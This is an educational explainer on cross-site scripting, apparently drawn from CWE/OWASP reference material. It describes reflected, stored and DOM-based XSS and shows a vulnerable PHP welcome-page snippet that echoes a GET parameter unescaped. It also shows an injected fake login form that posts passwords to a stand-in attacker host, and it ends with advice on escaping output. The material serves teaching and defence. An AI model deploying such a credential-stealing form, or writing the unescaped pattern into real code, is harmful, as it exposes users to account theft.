1. Untrusted data enters a web application, typically from a web request.
2. The web application dynamically generates a web page that contains this untrusted data.
4. A victim visits the generated web page through a web browser, which contains malicious script that was injected using the untrusted data.
5. Since the script comes from a web page that was sent by the web server, the victim’s web browser executes the malicious script in the context of the web server’s domain.
6. This effectively violates the intention of the web browser’s same-origin policy, which states that scripts in one domain should not be able to access resources or run code in a different domain.
Types of XSS:
Type 1: Reflected XSS (or Non-Persistent)
The server reads data directly from the HTTP request and reflects it back in the HTTP response. Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content to a vulnerable web application, which is then reflected back to the victim and executed by the web browser.
Type 2: Stored XSS (or Persistent)
The application stores dangerous data in a database, message forum, visitor log, or other trusted data store. At a later time, the dangerous data is subsequently read back into the application and included in dynamic content. For example, the attacker might inject XSS into a log message, which might not be handled properly when an administrator views the logs.
Type 3: DOM-Based XSS
XSS flaws are very common in web applications since they require a great deal of developer discipline to avoid them. It has following consequences:
| Bypass protection mechanism; Read application data
The most common attack performed with cross-site scripting involves the disclosure of information stored in user cookies. Typically, a malicious user will craft a client-side script, which — when parsed by a web browser — performs some activity (such as sending all site cookies to a given E-mail address). This script will be loaded and run by each user visiting the web site. Since the site requesting to run the script has access to the cookies in question, the malicious script does also.
| Execute unauthorized code or commands
In some circumstances it may be possible to run arbitrary code on a victim’s computer when cross-site scripting is combined with other flaws.
| Execute unauthorized code or commands; Bypass protection mechanism; Read application data
The consequence of an XSS attack is the same regardless of whether it is stored or reflected. The difference is in how the payload arrives at the server.
XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. Some cross-site scripting vulnerabilities can be exploited to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running “Active X” controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.
Likelihood of Exploit: High to Very High
This code displays a welcome message on a web page based on the HTTP GET username parameter. This example covers a Reflected XSS (Type 1) scenario.
Example Language: PHP
$username = $_GET[‘username’];
echo ‘<div> Welcome, ‘ . $username . ‘</div>’;
Because the parameter can be arbitrary, the url of the page could be modified so $username contains scripting syntax, such as
This results in a harmless alert dialogue popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers.
More realistically, the attacker can embed a fake login box on the page, tricking the user into sending his password to the attacker:
If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user’s browser:
<div id=”stealPassword”>Please Login:
<form name=”input” action=”attack.example.com/stealPassword.php” method=”post”>
Username: <input type=”text” name=”username” />
Password: <input type=”password” name=”password” />
<input type=”submit” value=”Login” />
Is your application vulnerable to XSS?
You need to ensure that all user supplied input sent back to the browser is verified to be safe (via input validation), and that user input is properly escaped before it is included in the output page. Proper output encoding ensures that such input is always treated as text in the browser, rather than active content that might get executed. Developers need to include this escaping in their applications unless their UI framework does this for them. See the OWASP XSS Prevention Cheat Sheet for more information about data escaping techniques.
Web 2.0 technologies, such as AJAX, make XSS much more difficult to detect via automated tools which may require manual review.